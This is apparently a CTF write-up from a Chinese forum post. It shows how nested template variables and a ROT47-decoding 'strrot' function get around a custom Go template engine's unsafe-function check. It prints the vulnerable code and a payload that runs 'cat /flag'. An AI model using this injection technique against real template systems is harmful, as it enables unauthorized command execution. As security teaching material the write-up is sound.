自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”

自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马” 工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`) templateVa...
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”

自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马”

工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF

templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)
templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)

在我看来有点像贪婪和非贪婪的解析错位导致的逃逸

func parseTemplateString(input string, vars map[string]string) (string, error) {
    out := input
    for i := 0; i < 100; i++ {
        cmd := templateCommandRE.FindString(out)
        if cmd == "" {
            return out, nil
        }
        replacement, err := commandHandler(cmd, vars)
        if err != nil {
            return "", err
        }
        out = strings.ReplaceAll(out, cmd, replacement)
    }
    return "", errors.New("template recursion limit exceeded")
}

func commandHandler(cmd string, vars map[string]string) (string, error) {
    handled := cmd
    if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil {
        name := matches[1]
        handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'")
    } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil {
        body := matches[1]
        funcName := strings.ToLower(matches[2])
        param := matches[3]
        unsafe := matches[4] != ""
        fn, ok := templateFuncs[funcName]
        if !ok {
            return "undefined", nil
        }
        if !unsafe && !fn.safe {
            return "", errAccessDenied
        }
        res, err := fn.call(param)
        if err != nil {
            return "", err
        }
        handled = strings.ReplaceAll(handled, body, "'"+res+"'")
    }
    if handled != cmd {
        return handled, nil
    }
    if !quotedCommandRE.MatchString(cmd) {
        return "undefined", nil
    }
    out := strings.ReplaceAll(cmd, "'", "")
    out = strings.ReplaceAll(out, `<\`, "")
    out = strings.ReplaceAll(out, `/>`, "")
    return out, nil
}

需要构造的命令需要包含unsafe才能command执行,但是这里只能控制%name%并且没法确定结构,

可以细看模板的替换规律,进模板之前都会做一次贪婪匹配

templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)

然后第二层就是替换%%模板,又或者传进的是函数,那就检查函数,

得益于在这开始是循环进行的,也就是

for i := 0; i < 100; i++ {

可以进行嵌套体的传入,也就是说,第一步会消去%%化为’‘并且将模板原封不动传入,这里是贪婪匹配,在最后如果非函数格式,又会对消除’ ’

并且上述的

"strrot": {
        safe: true,
        call: func(value string) (string, error) { return strrot(value), nil },
    },

函数可以原封不动return字符串,

name = "<<%n1%"
n1 = "%n2%"
n2 =r"\\%n3%"
n3 = "%n4%"
n4 = "strrot(%"

这样嵌套体进行上传,数次%%替换就是

<\ '<<''\\''strrot(%''''' />

这样并非函数在检查到非%%和函数的情况下

消除对称的’ '后就是

<\<<\\strrot(% />

再消除<\ />后就成了

<\strrot(%,

紧接着就进入了新一轮匹配

这样就是贪婪匹配了,接下来的模板,直到下一个>,因为gin对于变量名很宽松

这样就可以构造出很长的变量名,而所以说

<\strrot(%xxxx\>

中间的xxxx可以进行任意替换,

并且strrot函数可以原封不动返回,看到这我想,妙哉~~

如此再利用%%替换为’'可以直接替换为函数体,但是怎么插入拼接需要的执行体呢

编码,是的,strrot函数会返回解码内容,

ROT47("/><\run('cat /flag');unsafe/>")

于是变成了

<\strrot('<rotated_payload>'); />

然后整个结构体就变成了

<\/><\run('cat /flag');unsafe/>/>

最开始的非贪婪匹配又会将空的</>删去,

紧接着匹配的就是

<\run('cat /flag');unsafe/>

如此一来就可以对于模板的限制进行逃逸了,好困,bye

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文